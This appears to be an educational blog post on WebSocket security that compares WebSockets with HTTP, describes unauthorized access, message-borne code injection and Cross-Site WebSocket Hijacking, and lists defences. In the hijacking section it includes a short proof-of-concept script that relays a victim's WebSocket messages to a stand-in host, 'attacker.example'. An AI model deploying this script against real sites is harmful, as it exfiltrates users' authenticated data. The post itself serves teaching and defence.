Sep 21, 20213 min read

Websockets : How to Handle WebSockets Security?

WebSocket connections are initiated over HTTP and are typically long-lived. Messages can be sent in either direction at any time and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message. WebSockets are particularly useful in situations where low-latency or server-initiated messages are required, such as real-time feeds of financial data.

Advantages of Websockets over HTTP

Following are the benefits or advantages of Websockets over HTTP:

It supports duplex communication.
Using websockets, one can send and receive data immediately faster than HTTP. Moreover they are faster than AJAX.
Cross origin communication (however this poses security risks).
Cross platform compatibility (web, desktop, mobile)
HTTP takes upto 2000 bytes of overhead where as websocket takes only 2 bytes.
Replace long polling
Websockets are data typed but AJAX calls can only send string datatypes.

Disadvantages of Websockets

Following are the drawbacks or disadvantages of Websockets:

Web browser must be fully HTML5 compliant.
Websockets has no success functions like AJAX.
Intermediary/Edge caching is not possible with websockets unlike HTTP.
To build even simple protocol of your own, one can not be able to use friendly HTTP statuses, body etc.
If application does not require a lot of dynamic interaction, HTTP is much simpler to implement.

Attack Techniques

In WebSockets there are some attack techniques that affect WebSockets on the one hand and are also possible with WebSockets on the other hand.

1. Unauthorized access to WebSocket communication

If a WebSocket communication is not established using the WebSockets over TLS (wss://) protocol, it is possible to read and manipulate the communication at the network level. Attackers must be in a privileged position in the network to do this.

No form of authentication and authorization is specified for WebSockets. If no authentication is required to establish the WebSocket, attackers can establish their own connections and possibly access data that can only be accessed authenticated via HTTP. If access rights are also not checked within a WebSocket connection, attackers can gain unauthorized access to data by sending WebSocket messages.

2. Code injection

Messages sent over WebSockets can be misused to inject code. Depending on how messages are processed in the application, it is also possible to carry out attacks via WebSockets such as SQL injection or XML-based attacks, among others. Client-side attacks such as Cross Site Scripting (XSS) are also possible if the content of messages is insufficiently checked and embedded in the web application without encoding. If an attacker gains control of the WebSocket connection, they can manipulate messages from the client to the server and vice versa, abusing existing vulnerabilities to execute malicious code.

3. Cross-Site WebSocket Hijacking

The Cross-Site WebSocket Hijacking (CSWSH) attack exploits a Cross-Site Request Forgery Vulnerability (CSRF) in the WebSocket handshake. Attackers can connect to the vulnerable application under their own domain. When users open the attackers’ site, a WebSocket is established in the context of the user’s privilege. Attackers can then communicate with the application through the WebSocket connection and also gain access to the server’s responses. This is not usual for a CSRF attack.

A CSWSH attack allows attackers to send and receive messages on behalf of the user. Depending on the application purpose, establishing a WebSocket channel may also be sufficient to receive and analyse messages without further interaction. The following proof-of-concept script for a CSWSH attack includes JavaScript code for opening a WebSocket and extracting received messages. The script is executed in the attacker’s origin.

<script>
  // create a websocket connection to the target application
  var websocket = new WebSocket('wss://target.example');

  // wait for a message and exfiltrate the data
  websocket.onmessage = function(event) {
    var xhr = new XMLHttpRequest();

    xhr.open('POST', 'attacker.example', true);
    xhr.send(event.data);
  }
</script>

When users access the attacker’s crafted page, the web browser performs the WebSocket handshake and also sends the cookies along, analogous to a CSRF attack. If authentication based only on a session token cookie is required to open a WebSocket, this example bypasses it.

Protective Measures

When using WebSockets, the following protective measures should be observed.

Use of WebSockets over TLS (wss://)
Check Origin header during handshake, use Access-Control-Allow-Origin header on server side.
The handshake should be protected against CSRF attacks using Nonce/CSRF tokens
Use authentication for WebSockets, for example using a JSON Web Token
Input validation of messages using the data model in both directions.
Output encoding of messages when they are embedded in the web application.